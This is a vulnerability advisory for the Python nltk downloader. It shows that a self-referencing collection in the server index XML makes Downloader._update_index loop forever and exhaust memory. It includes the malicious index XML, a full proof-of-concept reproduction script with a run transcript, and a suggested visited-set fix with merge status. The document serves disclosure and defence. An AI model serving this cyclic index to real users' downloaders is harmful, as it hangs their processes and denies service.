> affected: PyPI `nltk` `>= 3.6.7` — `nltk.downloader` index parsing (`Downloader.update_index`) > dynamically reproduced: `nltk` `3.6.7` (4/4 checks), `3.9.2` (4/4), `3.10.3` (4/4), and `develop` `6818767b9` (4/4) --- _Source references (`nltk/downloader.py:NNN`) are to commit `6818767b9` (`develop`, `v3.10.3-15-g6818767b9`). The `v3.10.3` tag and the released `3.10.3` wheel carry the identical code at the identical line numbers (the vulnerable closure BFS sits at `downloader.py:1300-1310`). Dynamically verified wheels additionally show the same defect at `downloader.py:972` (`3.9.2`) and `downloader.py:987` (`3.6.7`). Summary `Downloader.update_index` (`nltk/downloader.py:1253-1313`) is the mandatory first step of every downloader operation (`download()`, `info()`, `packages()`, `collections()`, `list()`, `status()`). After replacing each `<item ref="…">` string with the actual `Collection`/`Package` object (`downloader.py:1285-1290`), it computes each collection's recursive package closure with a breadth-first walk that has no visited set and no depth cap: ```python nltk/downloader.py:1300-1310 for collection in self._collections.values(): packages = {} queue = [collection] for child in queue: if isinstance(child, Collection): queue.extend(child.children) elif isinstance(child, Package): packages[child.id] = child collection.packages = packages.values() ``` A self-referencing or mutually-referencing index — e.g. `<collection id="a"><item ref="a"/></collection>` — turns `a.children` into an object-level cycle, and the `for child in queue: queue.extend(child.children)` loop appends to the very list it is iterating, so the queue grows forever. The function never returns: CPU spins at 100% and memory grows without bound until the process is killed or the host runs out of memory. The identical finite input (one collection containing one package) completes in ~0.2 s on the control index, so the input is perfectly ordinary in size — only its self-reference is abnormal, and nothing validates it. Details Root cause is the combination of three unguarded steps: 1. `Collection.fromxml` (`nltk/downloader.py:362-369`) stores each `<item ref="…">` attribute verbatim as a string. It never checks whether a ref targets the collection's own id, or participates in a reference cycle. 2. `_update_index` (`nltk/downloader.py:1285-1290`) replaces those ref strings with the live objects from `self._collections` / `self._packages`. A self- or mutual-reference therefore becomes an object-level cycle in `children`. 3. The closure walk (`nltk/downloader.py:1300-1310`) iterates `for child in queue` while doing `queue.extend(child.children)` inside the loop. Python's list iterator consumes elements appended during iteration, so with a cycle the iterator and the queue length advance in lockstep forever. There is no `visited` set, no node-count cap, and no cycle detection. The input is the data-server index that the downloader is designed to fetch and trust: `_update_index` pulls it with `safe_parse(urlopen(self._url))` (`nltk/downloader.py:1269-1271`) and parses `<collections>/<collection>` elements with no structural validation. The index URL is a user-configurable product feature (`server_index_url` constructor argument, CLI `-u` / `--url` at `downloader.py:3052-3058` — the option's `dest` is `server_index_url` — plus `NLTK_DOWNLOAD_URL` and the Shell/GUI "Set Server URL"), so an operator who uses a third-party mirror, or whose configured mirror is compromised, delivers the malicious index into exactly this code path on the next download or query. PoC The self-checking reproduction script embedded below runs the attack against a `file://`-hosted index (no network server needed; the hardened `nltk.pathsec.urlopen` accepts local `file://` URLs) and a matching acyclic control index, in separate child processes under an address-space cap (`RLIMIT_AS`). That is the key to demonstrating the vulnerability safely and precisely: the control process completes under the cap, while the attack process — the same function, the same caller, the same finite 2-entry index — cannot finish and is aborted by `MemoryError` at `queue.extend(child.children)`, proving both the hang (the function never returns) and the unbounded memory growth (a 2-entry index growing until the address-space cap is exhausted). Without the cap the loop simply runs forever. Scope note: dynamically verified on the released `3.6.7`, `3.9.2`, and `3.10.3` wheels and on `develop` `6818767b9`. `3.6.0`–`3.6.6` share the identical BFS code path (verified statically at the tag) but were not run; the downloader tool predates `3.6` and earlier releases were not assessed. Environment for the recorded run: CPython 3.10.12 on Linux; the script defaults to a 512 MiB address-space cap per child and a 60 s hard timeout. All four version runs pass 4/4 checks. Live transcript (recorded run on the `nltk` `3.10.3` wheel; the `3.6.7`, `3.9.2`, and `develop` `6818767b9` runs produce the same 4/4 result, differing only in the `downloader.py` line number in the traceback — `987`, `972`, and `1305` respectively — and the elapsed time): ``` [PASS] precondition: cyclic index has a self-referencing <collection> (ref='a' inside <collection id='a'>) [PASS] precondition: acyclic control index references only packages [control] returned rc=0 in 0.2s [PASS] control: Downloader.packages() returned (no hang) [PASS] control: _packages parsed = ['p1'] [PASS] control: collection 'a' closure = ['p1'] (finite, as documented) [PASS] control: acyclic index completes and yields the documented finite closure (rc=0) [attack] rc=1 after 6.6s [attack] entering Downloader.packages() on the self-referencing index ... Traceback (most recent call last): File "<string>", line 38, in <module> File "nltk/downloader.py", line 627, in packages self._update_index() File "nltk/downloader.py", line 1305, in _update_index queue.extend(child.children) MemoryError [PASS] attack: self-referencing index is not completed -- process aborted by the 512 MiB address-space cap (unbounded queue growth) (rc=1, MemoryError) nltk under test: 3.10.3 RESULT 4/4 checks passed, 0 failed ``` The malicious index is exactly: ```xml <index> <packages> <package id="p1" name="Sample corpus" subdir="corpora/p1" url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/> </packages> <collections> <collection id="a" name="Cyclic collection"> <item ref="a"/> <item ref="p1"/> </collection> </collections> </index> ``` Impact - Type: CWE-835 / CWE-400 — denial of service. A single fetch of a cyclic index hangs the downloader process with unbounded CPU and memory consumption; no confidentiality or integrity impact. - Who is impacted: any deployment that uses `nltk.downloader` (directly, via `nltk.download()`, or through the Shell/GUI) against an index URL it does not fully control — third-party mirrors, internal mirrors, or the default GitHub-hosted index if it is ever compromised or MITM'd. Every entry point (`download()`, `info()`, `packages()`, `collections()`, `status()`) funnels through `_update_index` and is blocked. - Attacker requirements: ability to serve an index XML at a URL the victim configures (operator error, malicious mirror, compromised/CDN-poisoned index host, or traffic interception). The victim is only required to use the URL once; the hang then recurs on every downloader operation until the index is replaced. No privileges and no interaction beyond the initial URL configuration are required. - Effect: the process is permanently wedged in the closure BFS — 100% CPU and monotonically growing memory until OOM-killed. With the default 60-minute index refresh, merely running `nltk.download()` in a script or service turns a single poisoned index into an unresolvable hang. Suggested fix: add a `visited` set to the closure BFS so each `Collection` is expanded at most once (a cycle then contributes its packages once instead of looping), e.g.: ```python for collection in self._collections.values(): packages = {} queue = [collection] seen = set() for child in queue: if isinstance(child, Collection): if child.id in seen: continue seen.add(child.id) queue.extend(child.children) elif isinstance(child, Package): packages[child.id] = child collection.packages = packages.values() ``` Defense-in-depth: cap the number of expanded nodes (or detect and refuse cyclic `ref` chains in `Collection.fromxml` / during the ref-replacement at `downloader.py:1285-1290`) so malformed or hostile indexes are rejected at parse time rather than at walk time. Add a regression test that serves a self-referencing collection index and asserts `packages()`/`info()` terminate and either skip or reject the cycle. --- Reproduction script (self-contained) ```python !/usr/bin/env python3 """Self-checking reproduction: a cyclic collection index makes ``nltk.downloader.Downloader._update_index`` loop forever and exhaust memory. Attack: an index XML whose ``<collection>`` references itself (or a mutual cycle) becomes an object-level cycle when ``_update_index`` replaces ``ref`` strings with real ``Collection`` objects. The package-closure walk (``for child in queue: ... queue.extend(child.children)``) has no visited set and no depth cap, so the queue grows forever and the function never returns. Controls: * an acyclic index of the same shape completes and yields the expected closure (the same function, the same caller, under the same memory cap); * the attack never returns normally: it either keeps running past a hard timeout (observed hang) or is aborted by the child's address-space cap (unbounded memory growth) -- in both cases the exact finite input that the control handles instantly cannot be completed. Usage: python3 repro_nltk_downloader_cyclic_index.py [MEMCAP_MIB] Environment: NLTK_WHEEL path to an ``nltk`` wheel. If ``import nltk`` fails, the wheel is installed into a scratch dir and put on PYTHONPATH for the verification children. NLTK_TIMEOUT hard timeout seconds for each child (default: 60). MEMCAP_MIB address-space cap per child in MiB (default: 512); can also be passed as the first positional argument. """ import os import resource import subprocess import sys import tempfile import textwrap import time from xml.etree import ElementTree def _default_memcap(): if len(sys.argv) > 1 and sys.argv[1] != "--child": raw = sys.argv[1] else: raw = os.environ.get("MEMCAP_MIB", "512") try: value = int(raw) except (TypeError, ValueError): print("warning: invalid MEMCAP_MIB %r, falling back to 512" % raw, file=sys.stderr) return "512" return str(value) if value > 0 else "512" MEMCAP_MIB = int(_default_memcap()) CHILD_TIMEOUT = float(os.environ.get("NLTK_TIMEOUT", "60")) CYCLIC_INDEX = """<?xml version="1.0"?> <index> <packages> <package id="p1" name="Sample corpus" subdir="corpora/p1" url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/> </packages> <collections> <collection id="a" name="Cyclic collection"> <item ref="a"/> <item ref="p1"/> </collection> </collections> </index> """ ACYCLIC_INDEX = """<?xml version="1.0"?> <index> <packages> <package id="p1" name="Sample corpus" subdir="corpora/p1" url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/> </packages> <collections> <collection id="a" name="Acyclic collection"> <item ref="p1"/> </collection> </collections> </index> """ CHILD_DRIVER = r""" import os import resource import sys import nltk import nltk.data as nltk_data mode, url, workdir = sys.argv[1], sys.argv[2], sys.argv[3] Allow the local index file to be read under hardened pathsec (ENFORCE mode). nltk_data.path.append(workdir) cap = int(os.environ["NLTK_CHILD_MEMCAP_MIB"]) * 1024 * 1024 resource.setrlimit(resource.RLIMIT_AS, (cap, cap)) from nltk.downloader import Downloader downloader = Downloader(server_index_url=url) if mode == "control": # _update_index() runs to completion here; the acyclic closure is finite. packages = list(downloader.packages()) ids = sorted(p.id for p in packages) print("[PASS] control: Downloader.packages() returned (no hang)") assert ids == ["p1"], ids print("[PASS] control: _packages parsed = %r" % ids) col = next(c for c in downloader.collections() if c.id == "a") closure = sorted(p.id for p in col.packages) assert closure == ["p1"], closure print("[PASS] control: collection 'a' closure = %r (finite, as documented)" % closure) sys.exit(0) elif mode == "attack": # This call drives _update_index -> the collection-closure BFS. The index # collection self-references itself, so the BFS never terminates; the queue # keeps growing until the address-space cap aborts the process. print("[attack] entering Downloader.packages() on the self-referencing index ...") = downloader.packages() print("[FAIL] attack: Downloader.packages() RETURNED -- cycle was not triggered") sys.exit(2) else: print("[FAIL] unknown mode %r" % mode) sys.exit(2) """ def build_site_env(workdir): """Return (env, site_path_or_None) so the children can import nltk.""" probe = subprocess.run( [sys.executable, "-c", "import nltk"], capture_output=True, ) if probe.returncode == 0: return dict(os.environ), None wheel = os.environ.get("NLTK_WHEEL") if not wheel: return None, None site = os.path.join(workdir, "site") subprocess.run( [sys.executable, "-m", "pip", "install", "--quiet", "--target", site, wheel], check=True, ) env = dict(os.environ) env["PYTHONPATH"] = site + (os.pathsep + env["PYTHONPATH"] if env.get("PYTHONPATH") else "") return env, site def run_child(env, script, mode, url, workdir): cmd = [sys.executable, script, "--child", mode, url, workdir] start = time.monotonic() try: proc = subprocess.run( cmd, env=env, capture_output=True, text=True, timeout=CHILD_TIMEOUT, ) timed_out = False except subprocess.TimeoutExpired as exc: proc = exc timed_out = True elapsed = time.monotonic() - start stdout = proc.stdout if hasattr(proc, "stdout") else "" stderr = proc.stderr if hasattr(proc, "stderr") else "" return timed_out, getattr(proc, "returncode", None), stdout, stderr, elapsed def main(): results = [] def check(name, cond, detail=""): results.append(bool(cond)) print("[%s] %s%s" % ("PASS" if cond else "FAIL", name, (" (%s)" % detail if detail else ""))) with tempfile.TemporaryDirectory(prefix="nltk_cycle_") as workdir: cyclic_path = os.path.join(workdir, "index_cyclic.xml") acyclic_path = os.path.join(workdir, "index_acyclic.xml") with open(cyclic_path, "w") as fh: fh.write(CYCLIC_INDEX) with open(acyclic_path, "w") as fh: fh.write(ACYCLIC_INDEX) cyclic_url = "file://" + cyclic_path acyclic_url = "file://" + acyclic_path # --- Input modeling preconditions ------------------------------- cyc = ElementTree.parse(cyclic_path).getroot() col = cyc.find("collections/collection") check( "precondition: cyclic index has a self-referencing <collection>", col is not None and col.get("id") == "a" and any((it.get("ref") == "a" for it in col.findall("item"))), "ref='a' inside <collection id='a'>", ) acy = ElementTree.parse(acyclic_path).getroot() cola = acy.find("collections/collection") check( "precondition: acyclic control index references only packages", cola is not None and [it.get("ref") for it in cola.findall("item")] == ["p1"], ) env, site = build_site_env(workdir) if env is None: print("FAIL: nltk is not importable and NLTK_WHEEL is unset", file=sys.stderr) return 1 child_env = dict(env) child_env["NLTK_CHILD_MEMCAP_MIB"] = str(MEMCAP_MIB) # --- Control: acyclic index completes under the same memory cap --- t, rc, out, err, el = run_child(child_env, file, "control", acyclic_url, workdir) print("[control] returned rc=%s in %.1fs%s" % (rc, el, " (TIMEOUT)" if t else "")) if out: print(out, end="") if err: print(err, end="") check( "control: acyclic index completes and yields the documented finite closure", (not t) and rc == 0 and "collection 'a' closure = ['p1']" in (out + err), "rc=%s" % rc, ) # --- Attack: cyclic index must NOT complete ---------------------- t, rc, out, err, el = run_child(child_env, file, "attack", cyclic_url, workdir) print("[attack] rc=%s after %.1fs%s" % (rc, el, " (still running at timeout)" if t else "")) if out: print(out, end="") if err: print(err, end="") if t: check( "attack: self-referencing index hangs _update_index past the %ss timeout" % CHILD_TIMEOUT, True, "process still running, queue growing unboundedly", ) elif rc is not None and rc != 0: memory = "MemoryError" in (out + err) or "MemoryError" in err check( "attack: self-referencing index is not completed -- process aborted by the %s MiB address-space cap (unbounded queue growth)" % MEMCAP_MIB, memory, "rc=%s, %s" % (rc, "MemoryError" if memory else "non-zero exit"), ) else: check( "attack: self-referencing index hangs _update_index (vulnerability reproduced)", False, "function returned -- cyclic input was handled", ) # --- Version banner --------------------------------------------- ver_out = subprocess.run( [sys.executable, "-c", "import nltk; print(nltk.version)"], env=env, capture_output=True, text=True, ).stdout.strip() print("nltk under test: %s" % (ver_out or "unknown")) passed = sum(results) failed = len(results) - passed print("RESULT %d/%d checks passed, %d failed" % (passed, len(results), failed)) return 0 if failed == 0 else 1 if name == "main": if len(sys.argv) >= 2 and sys.argv[1] == "--child": os.execv(sys.executable, [sys.executable, "-c", textwrap.dedent(CHILD_DRIVER)] + sys.argv[2:]) sys.exit(main()) ``` Fix status (2026-09-28) Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix). PR: #3767 "Prevent infinite loop from cyclic collection indices" (ekaf), merged 2026-08-20, merge commit d2eb09a5b on develop. Fix commit: b77d329db (the downloader walks the collection closure with nltk.util.acyclic_breadth_first). Probe: nltk/test/unit/security_probes/ghsa_pcm8_fqjx_rvx8.py (added in d53d0b790 on that PR); verdict on develop 2fa3f48fe: FIXED (cyclic collection graphs terminate: self, mutual, chain, diamond). Release: none yet; no release tag contains b77d329db.